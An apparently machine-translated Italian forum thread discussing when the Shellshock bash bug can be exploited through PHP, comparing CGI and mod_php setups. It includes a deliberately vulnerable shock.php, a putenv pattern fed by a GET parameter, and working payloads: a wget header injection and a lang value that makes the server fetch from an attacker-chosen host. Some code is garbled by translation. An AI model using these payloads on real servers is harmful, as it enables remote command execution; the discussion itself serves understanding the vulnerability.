Scenario di attacco shellshock che sfrutta php

PHP può essere sfruttato solo nel caso shellshock in modalità PHP-CGI a causa della natura di come funziona CGI. Per le funzioni PHP come system () e exec () non è possibile influenzare le variabili di ambiente a meno che non le imposti in PHP. Sarebbe quindi nel tuo esempio qualcosa come system ("HTTP_SERVER = evil.example.org / path / to / script");

Se PHP viene distribuito usando mod_php, questo scenario è fondamentalmente sicuro. Come dici tu, PHP non inserisce i dati non attendibili nelle variabili d'ambiente come fa CGI.

Se PHP viene distribuito usando CGI (che è una configurazione rara), allora è vulnerabile se lo script fa qualsiasi chiamata a bash. Sembra che il sistema PHP () usi / bin / sh - sulle distribuzioni di Redhat che tende ad essere bash, sebbene non su Debian.

Se uno script imposta una variabile di ambiente utilizzando dati non attendibili diventa vulnerabile. Mi aspetto che sia un caso raro, ma è fastidioso perché ti impedisce di dire con certezza che "PHP è sicuro".

Sono dubbioso che possa essere sfruttato per php nello stesso modo in cui è sfruttato in CGI.

Se confronti l'output di:

$ cat ./testing3.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
set

All'output di:

$ cat ./testing.php 
<?php

system('set');

?>

Le variabili d'ambiente lette in bash sono molto diverse. In particolare, nessun HTTP_USER_AGENT o input simile fornito dall'utente per l'ambiente.

Detto questo, è un bug molto brutto e penso che ci possano essere molti modi inaspettati per sfruttarlo. Non penso che il metodo utilizzato per l'invocazione di bash in CGI sia lo stesso di qualsiasi angolo possibile per l'invocazione di php di bash.

Dai miei test sembra possibile sfruttare tramite PHP usando mod_php se alcune condizioni sono presenti.

1. / bin / sh farebbe un collegamento simbolico a / bin / bash.
2. L'app PHP imposta una variabile d'ambiente da una variabile HTTP controllata dall'utente tramite putenv ().
3. Da qualche parte nello script PHP, c'è una successiva chiamata a una funzione exec del comando che caricherà quindi quella variabile env (exec (), passthru (), system (), popen (), ecc) dal momento che è in esecuzione in un istanza di shell bash. Questa funzione di chiamata di sistema / comando exec non deve necessariamente essere correlata all'impostazione della variabile di ambiente, a patto che succeda dopo.

Ad esempio, ecco la forma generalizzata di un codice che ho visto in precedenza oggi che imposta una variabile di ambiente LANGUAGE basata su un parametro GET non approvato. Il richiamo popen che ho aggiunto al fondo sarebbe il grilletto.

function getLang() { if (isset($_GET["lang"]) && !empty($_GET["lang"])) { $lang = $_GET["lang"]; } return $lang; } $language = getLang(); putenv("LANGUAGE=$language"); /** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r"); /** or $result = exec("ls"); or $result = passthru("ls"); etc **/

In questo caso l'applicazione imposta una variabile di ambiente utilizzando un parametro GET controllato dall'utente, quindi un valore per lang come (){:;}; /usr/bin/wget http://yourip:yourport dovrebbe tentare un wget su un server / porta di tua scelta. Ho visto un codice simile che imposta le variabili ENV in base ai valori dei cookie e anche $language=$=COOKIE["lang"] , quindi interferire con il valore di tale intestazione potrebbe anche attivare il vuln.

Ovviamente è davvero una cattiva pratica impostare qualsiasi variabile in base a dati utente non attendibili. In questo caso, è la chiamata a popen (che viene eseguita in Bash grazie al collegamento simbolico) che alla fine eseguirà il payload. Ho provato questo in un ambiente Debian dopo aver impostato il link simbolico e il payload eseguito correttamente. In linea con quanto detto da hspaans, non si è in grado di influenzare l'impostazione di variabili di ambiente arbitrarie con le chiamate a system () o exec (), quindi il successo nello sfruttamento di qualcosa di simile dipende completamente dal design dell'applicazione e dalla ambiente in cui viene eseguito.

Ecco alcune ulteriori informazioni sulla vulnerabilità PHP non CGI: link

Questo semplice file PHP offre un buco di sicurezza shellshock:

shock.php

<?php

# in some configurations (CGI) your webserver does the following for you:
foreach ($_ENV as $k => $v) putenv("$k=$v");

# execute something with bash
echo shell_exec("bash -c 'echo hello from bash!'");

Per eseguire l'attacco

wget --header="X-Exploit: () { :; }; echo Hacked" -q -O -  http://127.0.0.1/shock.php

L'output

Hacked

hello from bash!